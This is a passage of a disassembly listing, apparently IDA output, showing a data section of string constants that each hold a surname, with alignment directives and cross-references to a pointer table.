aVignola db 'Vignola',0 ; DATA XREF: .data:0043D6A8o
aViens db 'Viens',0 ; DATA XREF: .data:0043D6A4o
align 4
aWiener db 'Wiener',0 ; DATA XREF: .data:0043D6A0o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0043D69Co
aViano db 'Viano',0 ; DATA XREF: .data:0043D698o
align 10h
aViana db 'Viana',0 ; DATA XREF: .data:0043D694o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0043D690o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .data:0043D68Co
align 4
aWhite db 'White',0 ; DATA XREF: .data:0043D688o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: .data:0043D684o
aWhately db 'Whately',0 ; DATA XREF: .data:0043D680o
aWetzel db 'Wetzel',0 ; DATA XREF: .data:0043D67Co
align 4
aWescott db 'Wescott',0 ; DATA XREF: .data:0043D678o
aVerghese db 'Verghese',0 ; DATA XREF: .data:0043D674o
align 10h
aVenne db 'Venne',0 ; DATA XREF: .data:0043D670o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .data:0043D66Co
aWelsh db 'Welsh',0 ; DATA XREF: .data:0043D668o
align 4
aWelles db 'Welles',0 ; DATA XREF: .data:0043D664o
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0043D660o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .data:0043D65Co
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0043D658o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0043D654o
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0043D650o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .data:0043D64Co
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .data:0043D648o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: .data:0043D644o
aWasowska db 'Wasowska',0 ; DATA XREF: .data:0043D640o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0043D63Co
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0043D638o
align 10h
aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0043D634o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0043D630o
aVanallen db 'vanAllen',0 ; DATA XREF: .data:0043D62Co
align 10h
aWalter db 'Walter',0 ; DATA XREF: .data:0043D628o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0043D624o
align 4
aWales db 'Wales',0 ; DATA XREF: .data:0043D620o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .data:0043D61Co
align 4
aValberg db 'Valberg',0 ; DATA XREF: .data:0043D618o
aWaite db 'Waite',0 ; DATA XREF: .data:0043D614o
align 4
aVacca db 'Vacca',0 ; DATA XREF: .data:0043D610o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: .data:0043D60Co
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .data:0043D608o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0043D604o
align 10h
aUrban db 'Urban',0 ; DATA XREF: .data:0043D600o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0043D5FCo
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0043D5F8o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .data:0043D5F4o
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0043D5F0o
align 10h
aTwells db 'Twells',0 ; DATA XREF: .data:0043D5ECo
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .data:0043D5E8o
align 10h
aTurek db 'Turek',0 ; DATA XREF: .data:0043D5E4o
align 4
aTurano db 'Turano',0 ; DATA XREF: .data:0043D5E0o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: .data:0043D5DCo
align 4
aTudge db 'Tudge',0 ; DATA XREF: .data:0043D5D8o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: .data:0043D5D4o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:0043D5D0o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: .data:0043D5CCo
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:0043D5C8o
aTruss db 'Truss',0 ; DATA XREF: .data:0043D5C4o
align 10h
aTroy db 'Troy',0 ; DATA XREF: .data:0043D5C0o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .data:0043D5BCo
aTringali db 'Tringali',0 ; DATA XREF: .data:0043D5B8o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .data:0043D5B4o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .data:0043D5B0o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .data:0043D5ACo
align 4
aToye db 'Toye',0 ; DATA XREF: .data:0043D5A8o
align 10h
aTowler db 'Towler',0 ; DATA XREF: .data:0043D5A4o
align 4
aTorske db 'Torske',0 ; DATA XREF: .data:0043D5A0o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: .data:0043D59Co
aTopulos db 'Topulos',0 ; DATA XREF: .data:0043D598o
aToomer db 'Toomer',0 ; DATA XREF: .data:0043D594o
align 4
aTomford db 'Tomford',0 ; DATA XREF: .data:0043D590o
aTolman db 'Tolman',0 ; DATA XREF: .data:0043D58Co
align 4
aTolls db 'Tolls',0 ; DATA XREF: .data:0043D588o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0043D584o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .data:0043D580o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .data:0043D57Co
aTill db 'Till',0 ; DATA XREF: .data:0043D578o
align 4
aTierney db 'Tierney',0 ; DATA XREF: .data:0043D574o
aThroop db 'Throop',0 ; DATA XREF: .data:0043D570o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .data:0043D56Co
aThisted db 'Thisted',0 ; DATA XREF: .data:0043D568o
aThibault db 'Thibault',0 ; DATA XREF: .data:0043D564o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .data:0043D560o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0043D55Co
align 4
aThan db 'Than',0 ; DATA XREF: .data:0043D558o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .data:0043D554o
align 10h
aTenney db 'Tenney',0 ; DATA XREF: .data:0043D550o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .data:0043D54Co
align 10h
aTemes db 'Temes',0 ; DATA XREF: .data:0043D548o
align 4
aTeague db 'Teague',0 ; DATA XREF: .data:0043D544o
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0043D540o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .data:0043D53Co
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .data:0043D538o
aTatar db 'Tatar',0 ; DATA XREF: .data:0043D534o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0043D530o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: .data:0043D52Co
aTambiah db 'Tambiah',0 ; DATA XREF: .data:0043D528o
aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0043D524o
align 4
aTai db 'Tai',0 ; DATA XREF: .data:0043D520o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0043D51Co
aSwindle db 'Swindle',0 ; DATA XREF: .data:0043D518o
aSweetser db 'Sweetser',0 ; DATA XREF: .data:0043D514o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .data:0043D510o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .data:0043D50Co
align 10h
aSuo db 'Suo',0 ; DATA XREF: .data:0043D508o
aSumner db 'Sumner',0 ; DATA XREF: .data:0043D504o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .data:0043D500o
align 4
aStringer db 'Stringer',0 ; DATA XREF: .data:0043D4FCo
align 4
aStreiff db 'Streiff',0 ; DATA XREF: .data:0043D4F8o
aStrauch db 'Strauch',0 ; DATA XREF: .data:0043D4F4o
aStrange db 'Strange',0 ; DATA XREF: .data:0043D4F0o
aStott db 'Stott',0 ; DATA XREF: .data:0043D4ECo
align 4
aStorer db 'Storer',0 ; DATA XREF: .data:0043D4E8o
align 4
aStonich db 'Stonich',0 ; DATA XREF: .data:0043D4E4o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0043D4E0o
aStockwell db 'Stockwell',0 ; DATA XREF: .data:0043D4DCo
align 4
aStockton db 'Stockton',0 ; DATA XREF: .data:0043D4D8o
align 4
aStock db 'Stock',0 ; DATA XREF: .data:0043D4D4o
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: .data:0043D4D0o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .data:0043D4CCo
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0043D4C8o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0043D4C4o
aStephanian db 'Stephanian',0 ; DATA XREF: .data:0043D4C0o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: .data:0043D4BCo
aStefani db 'Stefani',0 ; DATA XREF: .data:0043D4B8o
aStatlender db 'Statlender',0 ; DATA XREF: .data:0043D4B4o
align 4
aStates db 'States',0 ; DATA XREF: .data:0043D4B0o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0043D4ACo
align 4
aStang db 'Stang',0 ; DATA XREF: .data:0043D4A8o
align 4
aStam db 'Stam',0 ; DATA XREF: .data:0043D4A4o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .data:0043D4A0o
aStmartin db 'StMartin',0 ; DATA XREF: .data:0043D49Co
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0043D498o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0043D494o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0043D490o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .data:0043D48Co
align 4
aSperber db 'Sperber',0 ; DATA XREF: .data:0043D488o
aSpence db 'Spence',0 ; DATA XREF: .data:0043D484o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .data:0043D480o
aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0043D47Co
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .data:0043D478o
aSpanier db 'Spanier',0 ; DATA XREF: .data:0043D474o
aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0043D470o
align 4
aSoule db 'Soule',0 ; DATA XREF: .data:0043D46Co
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .data:0043D468o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .data:0043D464o
align 4
aSorg db 'Sorg',0 ; DATA XREF: .data:0043D460o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .data:0043D45Co
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: .data:0043D458o
align 4
aSomers db 'Somers',0 ; DATA XREF: .data:0043D454o
align 4
aSolon db 'Solon',0 ; DATA XREF: .data:0043D450o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .data:0043D44Co
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0043D448o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: .data:0043D444o
aSmilow db 'Smilow',0 ; DATA XREF: .data:0043D440o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: .data:0043D43Co
align 4
aSloan db 'Sloan',0 ; DATA XREF: .data:0043D438o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: .data:0043D434o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .data:0043D430o
align 10h
aSkane db 'Skane',0 ; DATA XREF: .data:0043D42Co
align 4
aSites db 'Sites',0 ; DATA XREF: .data:0043D428o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: .data:0043D424o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0043D420o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0043D41Co
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: .data:0043D418o
align 4
aSigna db 'Signa',0 ; DATA XREF: .data:0043D414o
align 4
aSigini db 'Sigini',0 ; DATA XREF: .data:0043D410o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .data:0043D40Co
aSiesto db 'Siesto',0 ; DATA XREF: .data:0043D408o
align 4
aShimon db 'Shimon',0 ; DATA XREF: .data:0043D404o
align 4
aShibata db 'Shibata',0 ; DATA XREF: .data:0043D400o
aShia db 'Shia',0 ; DATA XREF: .data:0043D3FCo
align 4
aShesko db 'Shesko',0 ; DATA XREF: .data:0043D3F8o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .data:0043D3F4o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .data:0043D3F0o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .data:0043D3ECo
align 10h
aSheats db 'Sheats',0 ; DATA XREF: .data:0043D3E8o
align 4
aShea db 'Shea',0 ; DATA XREF: .data:0043D3E4o
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: .data:0043D3E0o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .data:0043D3DCo
aShar db 'Shar',0 ; DATA XREF: .data:0043D3D8o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .data:0043D3D4o
aShankland db 'Shankland',0 ; DATA XREF: .data:0043D3D0o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: .data:0043D3CCo
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .data:0043D3C8o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0043D3C4o
aSexton db 'Sexton',0 ; DATA XREF: .data:0043D3C0o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0043D3BCo
align 4
aSennett db 'Sennett',0 ; DATA XREF: .data:0043D3B8o
aSen db 'Sen',0 ; DATA XREF: .data:0043D3B4o
aSelvage db 'Selvage',0 ; DATA XREF: .data:0043D3B0o
aSekler db 'Sekler',0 ; DATA XREF: .data:0043D3ACo
align 4
aSegal db 'Segal',0 ; DATA XREF: .data:0043D3A8o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: .data:0043D3A4o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: .data:0043D3A0o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: .data:0043D39Co
aScovel db 'Scovel',0 ; DATA XREF: .data:0043D398o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0043D394o
aSchwan db 'Schwan',0 ; DATA XREF: .data:0043D390o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0043D38Co
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: .data:0043D388o
aSchuman db 'Schuman',0 ; DATA XREF: .data:0043D384o
aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0043D380o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0043D37Co
aSchilling db 'Schilling',0 ; DATA XREF: .data:0043D378o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: .data:0043D374o
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: .data:0043D370o
aScheiner db 'Scheiner',0 ; DATA XREF: .data:0043D36Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0043D368o
aScharf db 'Scharf',0 ; DATA XREF: .data:0043D364o
align 4
aScepan db 'Scepan',0 ; DATA XREF: .data:0043D360o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: .data:0043D35Co
align 4
aSayied db 'Sayied',0 ; DATA XREF: .data:0043D358o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .data:0043D354o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0043D350o
align 4
aSatta db 'Satta',0 ; DATA XREF: .data:0043D34Co
align 4
aSatin db 'Satin',0 ; DATA XREF: .data:0043D348o
align 4
aSase db 'Sase',0 ; DATA XREF: .data:0043D344o
align 4
aSartore db 'Sartore',0 ; DATA XREF: .data:0043D340o
aSarin db 'Sarin',0 ; DATA XREF: .data:0043D33Co
align 4
aSapers db 'Sapers',0 ; DATA XREF: .data:0043D338o
align 4
aSanna db 'Sanna',0 ; DATA XREF: .data:0043D334o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0043D330o
aSamson db 'Samson',0 ; DATA XREF: .data:0043D32Co
align 4
aSali db 'Sali',0 ; DATA XREF: .data:0043D328o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .data:0043D324o
align 4
aSafire db 'Safire',0 ; DATA XREF: .data:0043D320o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .data:0043D31Co
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: .data:0043D318o
align 4
aRyu db 'Ryu',0 ; DATA XREF: .data:0043D314o
aRush db 'Rush',0 ; DATA XREF: .data:0043D310o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .data:0043D30Co
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: .data:0043D308o
align 4
aRuan db 'Ruan',0 ; DATA XREF: .data:0043D304o
align 4
aRu db 'Ru',0 ; DATA XREF: .data:0043D300o
align 4
aRoyal db 'Royal',0 ; DATA XREF: .data:0043D2FCo
align 10h
aRow db 'Row',0 ; DATA XREF: .data:0043D2F8o
aRonen db 'Ronen',0 ; DATA XREF: .data:0043D2F4o
align 4
aRogers db 'Rogers',0 ; DATA XREF: .data:0043D2F0o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .data:0043D2ECo
aRocha db 'Rocha',0 ; DATA XREF: .data:0043D2E8o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .data:0043D2E4o
align 10h
aRivera db 'Rivera',0 ; DATA XREF: .data:0043D2E0o
align 4
aRish db 'Rish',0 ; DATA XREF: .data:0043D2DCo
align 10h
aRineer db 'Rineer',0 ; DATA XREF: .data:0043D2D8o
align 4
aRindos db 'Rindos',0 ; DATA XREF: .data:0043D2D4o
align 10h
aRielly db 'Rielly',0 ; DATA XREF: .data:0043D2D0o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .data:0043D2CCo
align 4
aRhea db 'Rhea',0 ; DATA XREF: .data:0043D2C8o
align 4
aResnik db 'Resnik',0 ; DATA XREF: .data:0043D2C4o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .data:0043D2C0o
aRenick db 'Renick',0 ; DATA XREF: .data:0043D2BCo
align 4
aRemak db 'Remak',0 ; DATA XREF: .data:0043D2B8o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .data:0043D2B4o
aCunningham db 'Cunningham',0 ; DATA XREF: .data:0043D2B0o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: .data:0043D2ACo
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0043D2A8o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .data:0043D2A4o
aRapple db 'Rapple',0 ; DATA XREF: .data:0043D2A0o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .data:0043D29Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: .data:0043D298o
align 4
aRaney db 'Raney',0 ; DATA XREF: .data:0043D294o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0043D290o
aRadeke db 'Radeke',0 ; DATA XREF: .data:0043D28Co
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .data:0043D288o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: .data:0043D284o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .data:0043D280o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: .data:0043D27Co
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .data:0043D278o
aPugh db 'Pugh',0 ; DATA XREF: .data:0043D274o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .data:0043D270o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0043D26Co
align 10h
aProietti db 'Proietti',0 ; DATA XREF: .data:0043D268o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .data:0043D264o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: .data:0043D260o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: .data:0043D25Co
aPreucel db 'Preucel',0 ; DATA XREF: .data:0043D258o
aPresper db 'Presper',0 ; DATA XREF: .data:0043D254o
aPowers db 'Powers',0 ; DATA XREF: .data:0043D250o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: .data:0043D24Co
aPoma db 'Poma',0 ; DATA XREF: .data:0043D248o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: .data:0043D244o
aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0043D240o
aPolak db 'Polak',0 ; DATA XREF: .data:0043D23Co
align 4
aPoirier db 'Poirier',0 ; DATA XREF: .data:0043D238o
aPointer db 'Pointer',0 ; DATA XREF: .data:0043D234o
aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0043D230o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .data:0043D22Co
align 10h
aPo db 'Po',0 ; DATA XREF: .data:0043D228o
align 4
aPlous db 'Plous',0 ; DATA XREF: .data:0043D224o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .data:0043D220o
aPlant db 'Plant',0 ; DATA XREF: .data:0043D21Co
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .data:0043D218o
aPinot db 'Pinot',0 ; DATA XREF: .data:0043D214o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0043D210o
aPfister db 'Pfister',0 ; DATA XREF: .data:0043D20Co
aPettit db 'Pettit',0 ; DATA XREF: .data:0043D208o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .data:0043D204o
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0043D200o
align 4
aPeters db 'Peters',0 ; DATA XREF: .data:0043D1FCo
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0043D1F8o
align 10h
aPerone db 'Perone',0 ; DATA XREF: .data:0043D1F4o
align 4
aPerna db 'Perna',0 ; DATA XREF: .data:0043D1F0o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: .data:0043D1ECo
aPerlak db 'Perlak',0 ; DATA XREF: .data:0043D1E8o
align 10h
aPerko db 'Perko',0 ; DATA XREF: .data:0043D1E4o
align 4
aPereira db 'Pereira',0 ; DATA XREF: .data:0043D1E0o
aPenny db 'Penny',0 ; DATA XREF: .data:0043D1DCo
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .data:0043D1D8o
aPederson db 'Pederson',0 ; DATA XREF: .data:0043D1D4o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0043D1D0o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: .data:0043D1CCo
aPaynter db 'Paynter',0 ; DATA XREF: .data:0043D1C8o
aPawloski db 'Pawloski',0 ; DATA XREF: .data:0043D1C4o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: .data:0043D1C0o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .data:0043D1BCo
aPattullo db 'Pattullo',0 ; DATA XREF: .data:0043D1B8o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: .data:0043D1B4o
aPatefield db 'Patefield',0 ; DATA XREF: .data:0043D1B0o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .data:0043D1ACo
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: .data:0043D1A8o
align 4
aParris db 'Parris',0 ; DATA XREF: .data:0043D1A4o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0043D1A0o
aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0043D19Co
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .data:0043D198o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0043D194o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .data:0043D190o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0043D18Co
align 4
aPallara db 'Pallara',0 ; DATA XREF: .data:0043D188o
aPalepu db 'Palepu',0 ; DATA XREF: .data:0043D184o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0043D180o
align 4
aPaine db 'Paine',0 ; DATA XREF: .data:0043D17Co
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0043D178o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: .data:0043D174o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .data:0043D170o
aOtten db 'Otten',0 ; DATA XREF: .data:0043D16Co
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0043D168o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0043D164o
align 10h
aOspina db 'Ospina',0 ; DATA XREF: .data:0043D160o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: .data:0043D15Co
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: .data:0043D158o
aOray db 'Oray',0 ; DATA XREF: .data:0043D154o
align 10h
aOpel db 'Opel',0 ; DATA XREF: .data:0043D150o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0043D14Co
aOman db 'Oman',0 ; DATA XREF: .data:0043D148o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0043D144o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0043D140o
align 10h
aOlson db 'Olson',0 ; DATA XREF: .data:0043D13Co
align 4
aOlsen db 'Olsen',0 ; DATA XREF: .data:0043D138o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: .data:0043D134o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0043D130o
aOh db 'Oh',0 ; DATA XREF: .data:0043D12Co
align 4
aOgata db 'Ogata',0 ; DATA XREF: .data:0043D128o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .data:0043D124o
aNuzum db 'Nuzum',0 ; DATA XREF: .data:0043D120o
align 4
aNotman db 'Notman',0 ; DATA XREF: .data:0043D11Co
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: .data:0043D118o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: .data:0043D114o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0043D110o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .data:0043D10Co
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .data:0043D108o
align 4
aNg db 'Ng',0 ; DATA XREF: .data:0043D104o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: .data:0043D100o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0043D0FCo
aNeuman db 'Neuman',0 ; DATA XREF: .data:0043D0F8o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .data:0043D0F4o
align 4
aNenna db 'Nenna',0 ; DATA XREF: .data:0043D0F0o
align 4
aNelson db 'Nelson',0 ; DATA XREF: .data:0043D0ECo
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: .data:0043D0E8o
aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0043D0E4o
aNardone db 'Nardone',0 ; DATA XREF: .data:0043D0E0o
aNardi db 'Nardi',0 ; DATA XREF: .data:0043D0DCo
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0043D0D8o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0043D0D4o
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: .data:0043D0D0o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .data:0043D0CCo
aMulroy db 'Mulroy',0 ; DATA XREF: .data:0043D0C8o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .data:0043D0C4o
aMugnai db 'Mugnai',0 ; DATA XREF: .data:0043D0C0o
align 4
aMuello db 'Muello',0 ; DATA XREF: .data:0043D0BCo
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: .data:0043D0B8o
aMotooka db 'Motooka',0 ; DATA XREF: .data:0043D0B4o
aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0043D0B0o
align 10h
aMosler db 'Mosler',0 ; DATA XREF: .data:0043D0ACo
align 4
aMosher db 'Mosher',0 ; DATA XREF: .data:0043D0A8o
align 10h
aMortimer db 'Mortimer',0 ; DATA XREF: .data:0043D0A4o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .data:0043D0A0o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: .data:0043D09Co
align 10h
aMoreton db 'Moreton',0 ; DATA XREF: .data:0043D098o
aMorani db 'Morani',0 ; DATA XREF: .data:0043D094o
align 10h
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0043D090o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .data:0043D08Co
align 4
aMonque db 'Monque',0 ; DATA XREF: .data:0043D088o
align 10h
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0043D084o
align 4
aMohr db 'Mohr',0 ; DATA XREF: .data:0043D080o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .data:0043D07Co
aModestino db 'Modestino',0 ; DATA XREF: .data:0043D078o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: .data:0043D074o
aMittal db 'Mittal',0 ; DATA XREF: .data:0043D070o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0043D06Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0043D068o
align 10h
aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0043D064o
aMini db 'Mini',0 ; DATA XREF: .data:0043D060o
align 4
aMinh db 'Minh',0 ; DATA XREF: .data:0043D05Co
align 4
